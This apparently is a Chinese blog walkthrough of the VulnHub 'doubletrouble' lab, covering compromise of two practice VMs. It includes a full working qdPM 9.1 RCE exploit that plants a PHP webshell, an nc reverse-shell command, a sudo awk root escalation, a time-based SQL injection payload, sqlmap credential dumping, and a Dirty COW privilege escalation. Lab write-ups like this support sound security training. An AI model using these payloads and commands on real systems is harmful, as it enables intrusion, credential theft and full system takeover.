打靶记录13——doubletrouble

最新推荐文章于 2024-08-26 15:31:24 发布
最新推荐文章于 2024-08-26 15:31:24 发布
阅读量600 收藏 11
点赞数 10
分类专栏： 打靶 文章标签： 网络 数据库 网络安全 web安全 http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_64422989/article/details/141370143
版权

靶机：

https://www.vulnhub.com/entry/doubletrouble-1,743/

难度：

  • 中

目标：

  • 取得两台靶机 root 权限

涉及攻击方法：

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 开源CMS漏洞利用
  • 隐写术
  • 密码爆破
  • GTFObins提权
  • SQL盲注
  • 脏牛提权

学习记录（nc）：

nc命令用来传文件，在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好，而且nc几乎在所有的Linux系统中都默认存在，不但可以用来进行反弹shell操作，还可以用来传输文件

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.0.103
image.png
nmap -p22,80 -sV -sC 192.168.0.103
image.png
image.png
image.png
qdPM是一个开源、免费，基于Web的项目管理工具，其实也就是一个cms系统“CMS（Content Management System，内容管理系统）是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理，允许用户无需编写代码即可创建和管理网站内容。”

查看release notes，可能会告诉我们它在新版本当中修复了哪些漏洞，然后又增加了哪些新功能，这样就会帮助我们去找到攻击渗透的入口点。
image.png
发现有一个/install路径和/core/cache/qdPM/路径
image.png
image.png
/core/cache/qdPM/路径只能查看到文件名称，无法看到源码
image.png
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA，收集记录下来
searchsploit qdpm搜索漏洞库，发现9.1版本有RCE远程代码执行漏洞
image.png
把它们复制到当前目录里查看
image.png
发现是同一个CVE漏洞编码，只是使用的Python版本不一样，并且是需要登录之后Authenticated才能够利用成功的，网上搜索这个Web应用程序的默认的账号密码去登录也失败了
image.png
image.png
sudo dirsearch -u http://192.168.0.103/搜索目录，发现一个/secret/路径，有一张图片！
image.png
image.png
steghide info doubletrouble.jpg，查看图片发现能容下4.7K的隐写数据，但是需要密码。
image.png
stegseek --crack doubletrouble.jpg rockyou.txt一秒钟破解出密码92camaro
image.png
stegseek --crack doubletrouble.jpg rockyou.txt -xf file将隐写内容提取出来并命名为file，查看file文件获得账号密码otisrush@localhost.com``otis666
image.png
用这个账号密码成功登录Web应用的后台，那么我们就可以利用刚刚的两个python脚本来进行漏洞的利用了。
image.png
mousepad 50175.py编辑一下这个文件，里面的很多处的代码缩进有问题，需要手动修改一下
image.png
修改好之后的代码应该是这样的

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution

#!/usr/bin/python3

import sys
import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1


def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)
    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)


def main(HOSTNAME, EMAIL, PASSWORD):
    url = HOSTNAME + '/index.php/login'
    result = session_requests.get(url)
    #print(result.text)
    login_tree = html.fromstring(result.text)
    authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
    # The designated admin account does not have a myAccount page
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')


if __name__ == '__main__':
    print("You are not able to use the designated admin account because they do not have a myAccount page.\n")
    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
    parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
    parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')
    parser.add_argument('-p', '--password', dest='password', help='User password')
    args = parser.parse_args()
    # Added detection if the arguments are passed and populated, if not display the arguments
    if  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
            main(args.hostname, args.email, args.password)
    else:
        parser.print_help()

python3 50175.py可以正常运行了，那么给它加上参数来使用
image.png
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666成功创建了一个后门文件，上传了一个Webshell
image.png
image.png
成功的任意命令执行
image.png

反弹shell

?cmd=which nc发现存在nc命令
image.png
?cmd=nc -e /bin/bash 192.168.0.101 4444反弹shell
image.png
python3 -c "import pty;pty.spawn('/bin/bash')"升级一下shell
image.png

提权

sudo -l
image.png
https://gtfobins.github.io/gtfobins/awk/#sudo可以用Gtfobins来提权
image.png
sudo awk 'BEGIN {system("/bin/bash")}'幸福来得太突然，成功获取root权限！
image.png
在/root目录发现第二个ova格式的文件，那需要把它下载下来再导入VirtualBox当中
image.png

学习记录（nc）：

nc命令用来传文件，在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好，而且nc几乎在所有的Linux系统中都默认存在，不但可以用来进行反弹shell操作，还可以用来传输文件

nc -lvnp 4444 > second.ova首先在kali启动侦听，准备接收文件

然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1传输文件，-w 1参数的意思是当文件传输完毕之后隔一秒钟就断开连接

md5sum second.ova传输完成之后检查md5是否一致，一致就说明文件没有经过任何修改
image.png
image.png
那么接下来就把它导入到VirtualBox当中去
image.png

第二次主机发现

sudo arp-scan -l发现它的IP地址192.168.0.104
image.png

第二次端口扫描和服务发现

sudo nmap -p- 192.168.0.104
image.png
sudo nmap -p22,80 -sV -sC 192.168.0.104
image.png
首先对80端口发起攻击，发现页面挺简单的，一个登录框
image.png
万能密码无法绕过来进行登录，源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/尝试进行目录扫描，发现有/cgi-bin/
image.png
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh对这个目录进行扫描，看看有没有破壳漏洞，但是一无所获
image.png
那还是把目光放到唯一的登录页面上去吧，启动BurpSuite在登录的时候抓包

SQL盲注（时间盲注）

输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入（SQL Injection）的payload，用于测试或利用数据库查询的漏洞。具体来说，这是一个时间盲注（Time-based Blind SQL Injection）的示例。在这种注入类型中，攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。

代码解析

' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

让我们逐步分解这一段代码：

  1. **起始单引号 ****'**：
    • 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如，如果原SQL查询是：
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

注入攻击会这样插入单引号，使其变成：

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
  1. AND：
    • 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
  2. (SELECT x FROM (SELECT (SLEEP(10)))XZ)：
    • 这是一个子查询。让我们进一步分解：
      • (SELECT (SLEEP(10)))：
        • 这部分是一个内嵌子查询。SLEEP(10)是一个数据库函数，通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
      • (SELECT x FROM … XZ)：
        • 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段（x），并将结果命名为XZ。
  3. #：
    • 这是SQL中的注释符号，表示后面的内容都是注释，不会被执行。这可以帮助攻击者忽略掉后面的代码，防止引起语法错误。

最终结果

将这段注入代码插入到原来的查询中，例如：

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

这会导致数据库服务器执行如下操作：

  1. 查询用户表（users），查找用户名为’admin’且密码为空的记录。
  2. 同时，执行子查询 (SELECT x FROM (SELECT (SLEEP(10)))XZ)。
  3. 由于 SLEEP(10) 函数的存在，数据库服务器会暂停执行10秒。
  4. 如果数据库服务器响应时间的延迟符合预期，攻击者可以推断出注入点是可行的。

应用情境

这种时间盲注技术通常用于：

  • 确认注入点：通过观察响应时间的延迟，攻击者可以确认注入点是否存在。
  • 提取数据：在更复杂的情况下，攻击者可以通过多次注入、观察响应时间，逐步提取出数据库中的敏感信息。

image.png
发现服务器确实10s之后才响应，说明SLEEP(10)函数被数据库给执行了，这样就可以基于这个时间去尝试问服务器，说你的当前数据库的名称的第一个字母是不是a，是不是b，是不是c…挨个字符来进行探测，经过大量的同步的探测，就可以在指定的时间范围之内，把目标系统所有的数据库的信息等等其他的库名，表名等内容全都给它榨取，提取出来。

把相同的payload放到psw里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
image.png
把前面的数据包保存为1.txt，让sqlmap去跑``
image.png
跑出来是mysql数据库了
image.png
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs

  1. **-p uname**：
    • 指定注入点参数。在这个例子中，uname 是要测试SQL注入漏洞的参数。例如，如果HTTP请求包含uname=admin，sqlmap 将尝试在这个参数的位置进行SQL注入。
  2. **--dbms mysql**：
    • 明确指定目标数据库管理系统为MySQL。这可以帮助sqlmap优化注入测试，因为不同的DBMS有不同的SQL语法和功能。
  3. **--dbs**：
    • 命令sqlmap列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后，枚举数据库。

发现两个数据库doubletrouble和information_schema
image.png
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
image.png
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username这两列
image.png
那我们不管了直接dump下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
image.png
获得两对账号密码：

  • montreux``GfsZxc1
  • ZubZub99``clapton

用这些个账号密码登录Web页面失败，但是想起前面信息收集端口扫描的时候，发现22端口是开放的，管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104登录，使用密码ZubZub99成功登录
image.png

提权（脏牛漏洞）：

uname -a发现内核版本是3.2.0
image.png
利用nc把exp传输过去
image.png
image.png
gcc -pthread exp.c -o exp -lcrypt在靶机生成一个exp可执行文件

命令解析

  1. **gcc**：
    • GNU编译器集合（GNU Compiler Collection）。这是用于编译C和C++代码的编译器。
  2. **-pthread**：
    • 这个选项告诉编译器使用POSIX线程库（pthread）。这是线程编程时常用的库，允许程序创建和控制多个线程。
  3. **exp.c**：
    • 源代码文件名。这个文件包含了C语言编写的代码。
  4. **-o exp**：
    • 指定输出文件名为 exp。编译后的可执行文件将被命名为 exp。如果没有这个选项，默认输出文件名为 a.out。
  5. **-lcrypt**：
    • 这个选项告诉编译器链接crypt库。crypt是一个用于加密的库，通常用于处理密码加密和解密。在一些系统中，它可能是libcrypt.so或libcrypt.a。

chmod +x exp赋予可执行权限
./exp pass设置密码为pass
根据脏牛漏洞的利用代码，一旦我们执行./exp pass，它就会使用一个叫firefart的账号来替换目标操作系统的root账号，并拥有root账号的uid``gid以及所有的权限，然后会自动备份一下当前操作系统的/etc/passwd文件到/tmp/passwd.bak，如下图所示。
image.png
ssh firefart@192.168.0.104登录目标系统
image.png
如果是一次护网比赛，或者是一次授权的渗透项目的话，推荐将/tmp目录下已经备份的passwd.bak这个文件给它重新覆盖回原来的/etc/passwd文件，这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root账号本身。
cp /tmp/passwd.bak /etc/passwd拷贝回来之后
passwd重新设置root账号的密码为123456
image.png
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞，而是直接使用root账号来进行登录
ssh root@192.168.0.104
image.png
查看/root目录下的文件，logdel2看起来是一个日志清理的脚本，我们不关心它。
image.png
查看root.txt这个flag文件，打靶完毕！
image.png

完毕！

Fab1an要努力~
关注
  • 10
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
DoubleTrouble:Bootcamp Innopolis项目2015
05-20
此外，可能还会接触到日志记录、异常处理、线程同步、网络编程等Java进阶主题。如果项目涉及到Web开发，那么Servlets、JSP、Spring框架等也可能有所涉及。对于初学者来说，这是一次深入了解Java生态系统和提高编程...
doubletrouble:html5 w vim快捷方式中的两人游戏
05-26
双重麻烦 带有html5 w / vim快捷键的... 要开始玩，请抓住一个朋友并前往 如果您有兴趣帮助： git clone https://github.com/jonathanballs/doubletrouble.git cd doubletrouble npm install . 启动服务器 node .
浏览器发送HTTP请求的过程
学Python的小白！
08-25 1252
浏览器发送HTTP请求的过程是一个复杂但有序的步骤，‌主要包括以下几个阶段：‌1.构建请求，2.查找缓存、3.DNS解析、4.建立TCP连接、5.发送HTTP请求、6.服务器处理请求、7.服务器发送响应、8.客户端处理响应、9.关闭连接。
哪些类型的企业需要开展TPM管理培训？
tianxingjian713的博客
08-23 884
例如汽车制造企业、电子制造企业等，这些企业的生产线通常由大量高精度的自动化设备组成，一旦设备出现故障，可能会导致整个生产线停产，造成巨大的经济损失。开展TPM管理培训可以提高员工对设备的维护和管理能力，延长设备的使用寿命，降低设备维修成本，提高物流服务的效率和质量。通过开展TPM管理培训，让设备操作人员、维护人员和管理人员共同参与设备维护，实现设备的零故障运行，从而提高企业的竞争力。通过开展TPM管理培训，让员工了解设备的运行原理和风险点，加强设备的日常巡检和维护，提高设备的安全性和可靠性。
系统编程 网络 http协议
qq_69971969的博客
08-24 431
--------------------------------------表示了资源所在的路径。意思：域名解析=>把对应的域名解析为对应的ip。<协议>：//<主机>：<端口>/<路径>万维网：http解决万维网之间互联互通。http：应用层协议，底层是tcp协议。http协议------应用层的协议。1.如何在万维网中表示一个资源？http协议加密：tls，ssl。计算机web端网络只能看到文字。<http>只是协议的一种。html 超文本标记语言。http 超文本传输协议。
网络互联基础
任我行的博客
08-25 380
与集线器相连的所有主机组成一个简单局域网LAN，都属于同一个冲突域，且属于同一个广播域。
计网面经111
qq_43578042的博客
08-24 143
3、流量控制：TCP使用滑动窗口协议来控制发送方发送数据的速率，接收方会告诉发送方它的缓冲区大小，发送方会根据接收方的缓冲区大小来控制发送速率，确保接收方不会因为太快而丢失数据。2、序列号和确认号：TCP将每个数据段都分配一个序列号和确认号，序列号用于标识数据段的位置，确认号用于确认已经收到的数据段的位置，这样可以避免数据丢失或乱序。通过以上这些机制，TCP保证了数据的可靠传输，但是也会造成一定的延迟，因为数据包需要等待确认和重传，以及滑动窗口和拥塞控制会限制发送速率。
【网络编程】第十章 网络层-IP（分片组装+网段+路由+NAT）
YQ20210216的博客
08-22 1212
将目的ip和路由表中子网掩码"按位与"之后得到网络地址，再和Destination比较，两者相等代表当前ip就是需要通过该项路由，此时通过Iface接口发出去，如果和Destination不相等，则继续与下一个子网掩码比较，以此类推，最后由default 默认路由发送出去。传输层一次向下交付的数据太多了会导致分片，数据链路层不支持过大的数据，这就需要在发送方网络层对数据进行分片，分片后的每片都有独立ip，分片会提高丢包的概率，影响传输速率。局域网中主机的私有IP 和 外网当中的某个公网IP之间的映射关系。
计算机网络面试真题总结（四）
月伴飞鱼
08-26 354
由于网络的MTU限制，你不能一次性发送整个文件，所以你需要将文件拆分成多个小的数据包进行发送，这就是TCP拆包。UDP不属于连接协议，具有资源消耗少，处理速度快的优点，所以通常音频，视频和普通数据在传送时，使用UDP较多。在传统的HTTP/1.0版本中，每次请求完成后，TCP连接都会被关闭，下次请求需要重新建立连接，这种方式称为。接收端在接收到数据包后，会向发送端确认已接收到的数据包序号，并告诉发送端自己的接收窗口大小。连接的方式，在一次连接上进行多次请求和响应的机制，以提高性能和效率。
zabbix5.0与7.0版本区别 切换建议
qq_43800449的博客
08-23 638
1.1 高效的数据处理和存储1.2 改进的代理和主机性能3.1 现代化用户界面3.2 提升的导航和搜索功能4.1 扩展的监控选项4.2 改进的报警和通知5.1 扩展的 API 支持
考试：计算机网络(01)
chenghao13834505361的博客
08-26 901
计算机网络是计算机技术与通信技术相结合的产物，它实现了远程通信、远程信息处理和资源共享。计算机网络的功能：数据通信、资源共享、管理集中化、实现分布式处理、负载均衡。网络性能指标：速率、带宽(频带宽度或传送线路速率)、吞吐量、时延、往返时间、利用率。网络非性能指标：费用、质量、标准化、可靠性、可扩展性、可升级性、易管理性和可维护性。
EXSi配置虚拟机的网络模式为NAT和仅主机
shyuu的博客
08-24 938
场景：在VMware里创建的EXSI虚拟机并且添加了个桥接模式的网卡，EXSI虚拟机里想要创建CentOS多台虚拟机，分别配置NAT模式和仅主机模式。
python socket 发生UDP 和 UDPServer接受UDP实例
lyq308152569的博客
08-23 555
【代码】python socket 发生UDP 和 UDPServer接受UDP实例。
重发布实验
最新发布
2302_77625887的博客
08-26 175
1.如图搭建网络拓扑，所有路由器各自创建一个环回接 口，合理规划IP地址2.R1-R2-R3-R4-R6之间使用OSPF协议，R4-R5-R6之间使用 RIP协议3.R1环回重发布方式引入OSPF网络4.R4/R6上进行双点双向重发布5.分析网络中出现路由环路的原因6.路由优化。
【铂电阻测温】精密测温模块ZAM6222在化学发光分析仪中的应用
ZLG_zhiyuan的博客
08-23 535
化学发光分析仪一般由主机和计算机两部分组成。其中主机为仪器的运行反应测定部分，主要由材料配备模块、液路模块、温度控制模块、机械传动模块、光路检测模块、电路控制模块等组成。材料配备模块包括反应杯、样品盘、试剂盘等在仪器上的贮存和处理装置；液路模块包括过滤器、真空泵、管道、样本探针及试剂探针等；温度控制模块包括试剂储存器、孵育器等；机械传动模块包括传感器、运输轨道、机械臂等；光路检测模块包括光电倍增管；电路控制模块包括电源和核心控制板。
不同主机之间的网络通信学习
m0_63195218的博客
08-21 1068
共享内存 //最高效的进程间通信方式共享内存:1.是一块，内核预留的空间2.最高效的通信方式//避免了用户空间 到 内核空间的数据拷贝IPC通信方式 ---操作流程类似的操作:system v ： 共享内存IPC对象操作通用框架：0x ftokkey值 ==> 申请 ==》读写 ==》关闭 ==》卸载。
网络之DHCP实验
任我行的博客
08-22 973
DHCP于1993年10月成为标准协议，其前身是BOOTP协议。DHCP协议由RFC 2131定义，采用客户端/服务器通信模式，由客户端（DHCP Client）向服务器（DHCP Server）提出配置申请，DHCP Server为网络上的每个设备动态分配IP地址、子网掩码、默认网关地址，域名服务器（DNS）地址和其他相关配置参数，以便可以与其他IP网络通信。DHCP采用UDP作为传输协议，客户端发送消息到DHCP服务器的的67号端口，服务器返回消息给客户端的68号端口。
HTB-Fawn and Dancing
weixin_58038441的博客
08-24 875
介绍了ftp作用，端口情况，渗透思路介绍了ftp,smb服务，端口情况，渗透测试思路
实现Nginx四层负载均衡
ouqisheng的博客
08-22 899
Nginx在1.9.0版本开始支持tcp模式的负载均衡，在1.9.13版本开始支持udp协议的负载，udp主要用于 DNS的域名解析，其配置方式和指令和http 代理类似，其基于ngx_stream_proxy_module模块实现tcp 负载，另外基于模块ngx_stream_upstream_module实现后端服务器分组转发、权重分配、状态监测、 调度算法等高级功能。如果编译安装,需要指定 --with-stream 选项才能支持ngx_stream_proxy_module模块。
doubletrouble靶机
08-29
doubletrouble靶机是一个用于渗透测试和漏洞挖掘的目标。它有两个不同的靶机地址。第一个地址是https://download.vulnhub.com/doubletrouble/doubletrouble.ova，可以下载一个ova文件来部署虚拟机。第二个地址是https://www.vulnhub.com/entry/doubletrouble-1,743/，可以获取更多有关靶机的描述信息。靶机中包含一个名为"doubletrouble"的数据库，其中有一个名为"users"的表。你可以使用sqlmap等工具对该表进行爆破和数据挖掘操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [vulnhub靶场-DoubleTrouble](https://blog.csdn.net/qq_42947816/article/details/125739402)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [靶机渗透练习63-doubletrouble](https://blog.csdn.net/Perpetual_Blue/article/details/124289479)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值